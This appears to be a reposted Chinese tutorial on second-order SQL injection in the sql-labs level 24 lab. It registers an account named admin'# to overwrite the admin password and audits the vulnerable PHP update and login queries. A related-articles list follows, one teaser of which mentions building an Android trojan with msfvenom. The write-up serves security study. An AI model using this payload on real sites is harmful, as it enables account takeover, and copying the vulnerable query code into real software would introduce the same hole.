我们会发现这和宽字节注入的情况类似,我们的SQL语句中都出现了一个自由的单引号,这便是我们的操作区域,与之类似的还有三次注入等,我们不再过多赘述,我们以sql-labs的第24关来演示:

首先在数据库中存在一个admin账户,然后我们去注册一个带有恶意数据的账户:admin'#

在这里插入图片描述

然后我们修改我们恶意账户的密码:

注意:有的分支版本其24关的logged-in.php文件不对,可能没有这个页面,建议找个下游版本替换

在这里插入图片描述

最后我们成功修改了管理员admin的密码:

在这里插入图片描述

为什么会出现此情况呢?直接白盒审计:

$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);...  				
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

我们在创建用户的页面可以看到,程序对我们的输入进行了转义,这里我们的输入不能够直接注入,因为数据库会将我们的字符串按普通字符串写入,不能构造闭合,我们再来看数据取出数据时的操作:

$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
...
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

它在取出数据时,直接使用的会话中的用户名,那我们继续追踪发现以下代码,果不其然直接使用的数据库的内容,并没有做其他处理:

function sqllogin(){$username = mysql_real_escape_string($_POST["login_user"]);$password = mysql_real_escape_string($_POST["login_password"]);$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');$row = mysql_fetch_row($res);//print_r($row) ;if ($row[1]) {return $row[1];} else {return 0;}
}$login = sqllogin();
if (!$login== 0) 
{$_SESSION["username"] = $login;setcookie("Auth", 1, time()+3600);  /* expire in 15 Minutes */header('Location: logged-in.php');
} 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/805840.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

BPMN.JS中文教程学习

基础篇 vue bpmn.js 建模BpmnModeler将数据转图形bpmnModeler.importXML // basic.vue<script>// 引入相关的依赖import BpmnModeler from bpmn-js/lib/Modelerimport {xmlStr} from ../mock/xmlStr // 这里是直接引用了xml字符串export default {name: ,components: {…

三维点云:对原始点云数据进行体素化

文章目录 一、原始点云二、对原始点云进行体素化三、结果展示 一、原始点云 &#x1f349;原始点云为.pts文件&#xff0c;内容为x, y, z的坐标 原始点云展示 二、对原始点云进行体素化 使用open3d库实现&#xff0c;如果没有需要在命令行执行pip install open3d import o…

vue vue3 手写 动态加载组件

效果展示 一、需求背景&#xff1a; # vue3 项目涉及很多图表加载、表格加载 #考虑手写一个动态加载组件 二、实现思路 通过一个加载状态变量&#xff0c;通过v-if判断&#xff0c;加载状态的变量等于哪一个&#xff0c;动态加载组件内部就显示的哪一块组件。 三、实现效果…

安装Schedule库的方法最终解答!_Python第三方库

安装Python第三方库Schedule 我的环境&#xff1a;Window10&#xff0c;Python3.7&#xff0c;Anaconda3&#xff0c;Pycharm2023.1.3 Schedule库 Schedule 是一个轻量级、功能强大而灵活的任务调度工具库&#xff0c;用于在指定的时间间隔内执行任务。为用户提供了简单易用的…

kali使用msf+apkhook520+cploar实现安卓手的攻击

学习网络安全的过程中&#xff0c;突发奇想怎么才能控制或者说是攻击手机 边找工作边实验 话不多说启动kali 一、使用msfapktool生成简单的木马程序 首先使用kali自带的msfvenom写上这样一段代码 选择安卓 kali的ip 一个空闲的端口 要输出的文件名 msfvenom -p android/met…

kafka(五)——消费者流程分析(c++)

概念 ​ 消费者组&#xff08;Consumer Group&#xff09;&#xff1a;由多个consumer组成。消费者组内每个消费者负责消费不同分区的数据&#xff0c;一个分区只能由一个组内消费者消费&#xff1b;消费者组之间互不影响。所有的消费者都属于某个消费者组&#xff0c;即消费者…

今日arXiv最热大模型论文:Dataverse,针对大模型的开源ETL工具,数据清洗不再难!

引言&#xff1a;大数据时代下的ETL挑战 随着大数据时代的到来&#xff0c;数据处理的规模和复杂性不断增加&#xff0c;尤其是在大语言模型&#xff08;LLMs&#xff09;的开发中&#xff0c;对海量数据的需求呈指数级增长。这种所谓的“规模化法则”表明&#xff0c;LLM的性…

HTML - 请你说一下如何阻止a标签跳转

难度级别:初级及以上 提问概率:55% a标签的默认语义化功能就是超链接,HTML给它的定位就是与外部页面进行交流,不过也可以通过锚点功能,定位到本页面的固定id区域去。但在开发场景中,又避免不了禁用a标签的需求,那么都有哪些方式可以禁用…

【就近接入,智能DNS-Geo DNS ,大揭秘!】

做过后端服务或者网络加速的小伙伴&#xff0c;可能或多或少都听说过&#xff0c;智能DNS或者Geo DNS&#xff0c;就是根据用户的位置&#xff0c;返回离用户最近的服务节点&#xff0c;就近接入&#xff0c;以达到服务提速的效果。 那么大家有没想过&#xff0c;这个背后的原理…

C++:日期类的实现 const修饰 取地址及const取地址操作符重载(类的6个默认成员函数完结篇)

一、日期类的实现 根据之前赋值运算符重载逻辑&#xff0c;我们现在来实现完整的日期类。 1.1 判断小于 上篇博客已经实现: bool operator<(const Date& d) {if (_year < d._year){return true;}else if (_year d._year){if (_month < d._month){return true…

总结C/C++中程序内存区域划分

C/C程序内存分配的几个区域&#xff1a; 1. 栈区&#xff08;stack&#xff09;&#xff1a;在执行函数时&#xff0c;函数内局部变量的存储单元都可以在栈上创建&#xff0c;函数执行结束时这些存储单元自动被释放。栈内存分配运算内置于处理器的指令集中&#xff0c;效率很⾼…

OpenHarmony开发技术:【国际化】实例

国际化 如今越来的越多的应用都走向了海外&#xff0c;应用走向海外需要支持不同国家的语言&#xff0c;这就意味着应用资源文件需要支持不同语言环境下的显示。本节就介绍一下设备语言环境变更后&#xff0c;如何让应用支持多语言。 应用支持多语言 ArkUI开发框架对多语言的…

TypeScript—详解、小案例(配合源代码)

简介&#xff1a;TypeScript是微软开发的 JavaScript 的超集&#xff0c;TypeScript兼容JavaScript&#xff0c;可以载入JavaScript代码然后运行。TypeScript与JavaScript相比进步的地方 包括&#xff1a;加入注释&#xff0c;让编译器理解所支持的对象和函数&#xff0c;编译器…

Web路径专题

文章目录 1.资源定位1.前置条件上下文路径设置 2.上下文路径介绍重点说明 3.资源定位方式资源路径 上下文路径 资源位置a.html定位C.java定位 4.浏览器和服务器解析的区别1.浏览器解析/&#xff08;地址变化&#xff09;2.服务器解析/&#xff08;地址不变&#xff09; 5.带/…

git学习 1

打开自己想要存放git仓库的文件夹&#xff0c;右键打开git bush&#xff0c;用git init命令建立仓库 用 ls -a(表示全都要看&#xff0c;包括隐藏的)可以看到git仓库 也可以用 git clone 接github链接&#xff08;点code选项里面会给链接&#xff0c;结尾是git的那个&#xf…

OpenHarmony南向开发实例:【智能可燃气体检测系统】

样例简介 本项目是基于BearPi套件开发的智能可燃气体检测Demo&#xff0c;该系统内主要由小熊派单板套件和和MQ5可燃气体检测传感器组成。 智能可燃气体检测系统可以通过云和手机建立连接&#xff0c;可以在手机上控制感应的阈值&#xff0c;传感器感知到的可燃气体浓度超过阈…

C++ | Leetcode C++题解之第12题整数转罗马数字

题目&#xff1a; 题解&#xff1a; const string thousands[] {"", "M", "MM", "MMM"}; const string hundreds[] {"", "C", "CC", "CCC", "CD", "D", "DC&qu…

azkaban的写法

先创建一个.job文件和一个.sql文件 sql语法写到一个test名字的文件里&#xff0c;之后job写法如下&#xff1a; typecommand commandhive -f test6.sql 一定要严格写&#xff0c;不管是字母还是空格&#xff0c;单引号中就是sql文件的名字 然后将它们一块打包&#xff0c;启动…

ubuntu系统逻辑卷Logical Volume扩容根分区

Linux LVM详解 https://blog.csdn.net/qq_35745940/article/details/119054949 https://blog.csdn.net/weixin_41891696/article/details/118805670 https://blog.51cto.com/woyaoxuelinux/1870299 LVM&#xff08;Logical Volume Manager&#xff09;逻辑卷管理&#xff0c…

贪心算法|452.用最少数量的箭引爆气球

力扣题目链接 class Solution { private:static bool cmp(const vector<int>& a, const vector<int>& b) {return a[0] < b[0];} public:int findMinArrowShots(vector<vector<int>>& points) {if (points.size() 0) return 0;sort(p…